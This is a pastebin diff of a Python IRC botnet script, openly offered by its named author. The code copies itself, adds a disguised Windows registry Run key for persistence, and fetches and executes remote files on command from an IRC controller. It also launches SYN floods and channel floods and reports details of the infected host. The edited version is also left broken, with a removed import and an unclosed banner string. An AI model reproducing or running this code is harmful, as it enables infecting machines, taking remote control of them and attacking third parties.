View difference between Paste ID: kdFNPRfz and 8B9dz0aF
SHOW: | | - or go back to the newest paste.
1
#!/usr/bin/python
2
3
4
print '''
5
6
# Python Botnet.
7
# Author: Muhammad Adeel aka Innoxent Stoker
8
# FB: http://facebook.com/xtoker
9
# Email: [email protected]
10
11
         _\|/_
12
         (o o)
13
 +----oOO-{_}-OOo--------------+
14
 |==> author: Muhammad Adeel   +
15
 +==> FB.com/xtoker            +
16
 |==> [email protected]      +
17
 +-----------------------------+
18
 
19
 I Can Do Following Things.
20
 
21
 [*]  Can Copy Myself AnyWhere in PC. 
22
 [*]  Can Use the registry to add Myself to startup.
23
 [*]  Can Download files.
24
 [*]  Can Execute files.
25
 [*]  Can Syn flood.
26
 [*]  Can Irc channel flood attacks.
27
 [*]  Can Give info on the infected PC.
28
 
29-
 [+] Use: change irc server and Port. and run it.
29+
30
31
32
import socket
33
import sys
34
import random
35
import urllib2
36
import subprocess
37
import os.path
38
import os
39
import threading
40
import platform
41
import shutil
42
43
44
# Settings....
45-
from _winreg import *
45+
46
server = raw_input("Enter IRC Server: ") 
47
channel = raw_input("Channel Name: ")
48
keyword = raw_input("Enter Keyword: ") 
49
nickprefix = raw_input("Nick Prefix: ")
50-
server = "banks.freenode.net" 
50+
outfile = raw_input("Path to copy botnet: ")
51-
channel = "irc://banks.freenode.net/hacking"
51+
52-
keyword = "hacking" 
52+
53-
nickprefix = "Stoker"
53+
54-
outfile = "E:"
54+
55
ver = "1.0"
56
synkill = False
57
58
class Synflood(threading.Thread):
59
    def run(self):
60
        sendmsg(channel, "Starting syn flood to " + host + " on port " + str(port))
61
        while synkill == False:
62
            synsock = socket.socket()
63
            synsock.connect((host, port))
64
        return
65
66
class Download(threading.Thread):
67
    def run(self):
68
        afile = url.rsplit('/', 1)
69
        u = urllib2.urlopen(url)
70
        localFile = open(afile[1], 'w')
71
        localFile.write(u.read()) 
72
        localFile.close()
73
        sendmsg(channel, "Download of " + str(afile[1]) + " completed")
74
75
class Chanflood(threading.Thread):
76
    def run(self):
77
        chanfloodsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
78
        try:
79
            chanfloodsock.connect((chanfloodserv, 6667))
80
        except socket.error:
81
            sendmsg(channel, "server timed out or does not exist")
82
        else:
83
            sendmsg(channel, "Flooding " + chanfloodchan + " on " + chanfloodserv)
84
            chanfloodsock.send(str.encode("USER "+ botnick +" "+ botnick +" "+ botnick +" :hax\n"))
85
            chanfloodsock.send(str.encode("NICK "+ botnick +"\n"))
86
            chanfloodsock.send(str.encode("JOIN "+ chanfloodchan + " " + chanfloodkeyword + "\n"))
87
            while chanfloodkill == False:
88
                chanfloodsock.send(str.encode("PRIVMSG "+ chanfloodchan +" :" + msg + "\n") )
89
            return
90
91
class Infect(threading.Thread):
92
    def run(self):
93
        shutil.copy(sys.argv[0],outfile)
94
        aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE)
95
        aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE)
96
        SetValueEx(aKey,"Explorer",0, REG_SZ, outfile)
97
        
98
def connect():
99
    try:
100
        ircsock.connect((server, 6667))
101
    except socket.error:
102
        print "timed out.. trying again.."
103
        connect()
104
    else:
105
        ircsock.send(str.encode("USER "+ botnick +" "+ botnick +" "+ botnick +" :hax\n"))
106
        ircsock.send(str.encode("NICK "+ botnick +"\n")) 
107
108
def ping():
109
    ircsock.send(str.encode("PONG :pingis\n"))
110
111
def sendmsg(chan , msg): 
112
  ircsock.send(str.encode("PRIVMSG " + chan +" :" + msg + "\n") )
113
  
114
def joinchan(chan): 
115
  ircsock.send(str.encode("JOIN " + chan + " " + keyword + "\n"))
116
117
def leavechan(chan):
118
  ircsock.send(str.encode("PART " + chan + " leaving the channel" + "\n"))
119
120
def quitirc(chan):
121
   chanfloodkill = True
122
   synfloodkill = True
123
   ircsock.send(str.encode("QUIT" + "\n"))
124
125
ircsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
126
botnick = nickprefix + str(random.randint(1,10000))
127
connect()
128
joinchan(channel)
129
130
if os.path.isfile(outfile) == False:
131
    Infect().start()
132
else:
133
    print "\nComputer is already infected"
134
135
while 1: 
136
  ircmsg = ircsock.recv(2048)
137
  ircmsg_clean = ircmsg.strip(str.encode('\n\r')) 
138
  print(ircmsg_clean) 
139
140
  if ircmsg.find(str.encode("Nickname is already in use")) != -1:
141
    botnick = nickprefix + str(random.randint(1,10000))
142
    ircsock.send(str.encode("NICK "+ botnick +"\n")) 
143
    joinchan(channel)
144
145
  if ircmsg.find(str.encode("PING :")) != -1: 
146
    ping()
147
148
  if ircmsg.find(str.encode("!leave")) != -1:
149
      leavechan(channel)
150
151
  if ircmsg.find(str.encode("!quit")) != -1:
152
      quitirc(channel)
153
      sys.exit() 
154
155
  if ircmsg.find(str.encode("!download")) != -1:
156
    try:
157
        parts = ircmsg_clean.split()
158
        url = parts[4]
159
    except IndexError:
160
        sendmsg(channel, "Invalid syntax, usage: !download <direct_link_to_file>")
161
    else:
162
        if __name__ == "__main__":
163
            Download().start()
164
                
165
166
  if ircmsg.find(str.encode("!run")) != -1:
167
    try:
168
        parts = ircmsg_clean.split()
169
        run = parts[4]
170
    except IndexError:
171
        sendmsg(channel, "Invalid syntax, usage: !run <filename>")
172
    else:
173
        if os.path.isfile(run) == True:
174
            subprocess.call(['start', run], shell=True)
175
            sendmsg(channel, run + " has been executed.")
176
        else:
177
            sendmsg(channel, run + " does not exist.")
178
179
  if ircmsg.find(str.encode("!syn")) != -1:
180
    try:
181
        parts = ircmsg_clean.split()
182
        host = parts[4]
183
        port = int(parts[5])
184
    except IndexError:
185
        sendmsg(channel, "Invalid syntax, usage: !syn <host> <port>")
186
    else:
187
        if __name__ == "__main__":
188
            synkill = False
189
            t = Synflood().start()
190
191
  if ircmsg.find(str.encode("!stopsyn")) !=-1:
192
    synkill = True
193
    sendmsg(channel, "Flood stoped")
194
195
  if ircmsg.find(str.encode("!info")) !=-1:
196
    iall = "all"
197
    try:
198
        parts = ircmsg_clean.split()
199
        inick = parts[4]
200
    except IndexError:
201
        sendmsg(channel, "Invalid syntax, usage: !info <botname> or !info all to view info on all bots.")
202
    else:
203
        if inick == botnick or inick == iall:
204
            os = platform.system()
205
            name = platform.node()
206
            proc = platform.processor()
207
            info = "OS: " + os + ", Name: " + name + ", Processor: " + proc
208
            sendmsg(channel, info)
209
        
210
211
  if ircmsg.find(str.encode("!moreinfo")) !=-1:
212
    miall = "all"
213
    try:
214
        parts = ircmsg_clean.split()
215
        inick = parts[4]
216
    except IndexError:
217
        sendmsg(channel, "Invalid syntax, usage: !moreinfo <botname> or !moreinfo all to view detailed info on all bots.")
218
    else:
219
        if inick == botnick or inick == miall:
220
            minfo = platform.uname()
221
            sendmsg(channel, str(minfo))
222
        else:
223
            sendmsg(channel, inick + " does not exist in channel.")
224
225
  if ircmsg.find(str.encode("!chanflood")) !=-1:
226
    try:
227
        parts = ircmsg_clean.split()
228
        chanfloodserv = parts[4]
229
        chanfloodchan = parts[5]
230
        chanfloodkeyword = parts[6]
231
        sg = ircmsg_clean.rsplit("-m")
232
        msg = sg[1]
233
    except IndexError:
234
        sendmsg(channel, "Invalid Syntax, usage: !chanflood <server> <chan> <chankeyword> -m <message>")
235
    else:
236
        chanfloodkill = False
237
        sendmsg(channel, "server: " + chanfloodserv + " | channel: " + chanfloodchan + " | keyword: " + chanfloodkeyword + " | MESSAGE: " + msg)
238
        Chanflood().start()
239
240
  if ircmsg.find(str.encode("!stopchanflood")) !=-1:
241
    chanfloodkill = True
242
    sendmsg(channel, "Stoping flood.")
243
    
244
  if ircmsg.find(str.encode("!name")) !=-1:
245
    sendmsg(channel, "My name is: " + sys.argv[0])
246
247
  if ircmsg.find(str.encode("!version")) !=-1:
248
    sendmsg(channel, ver)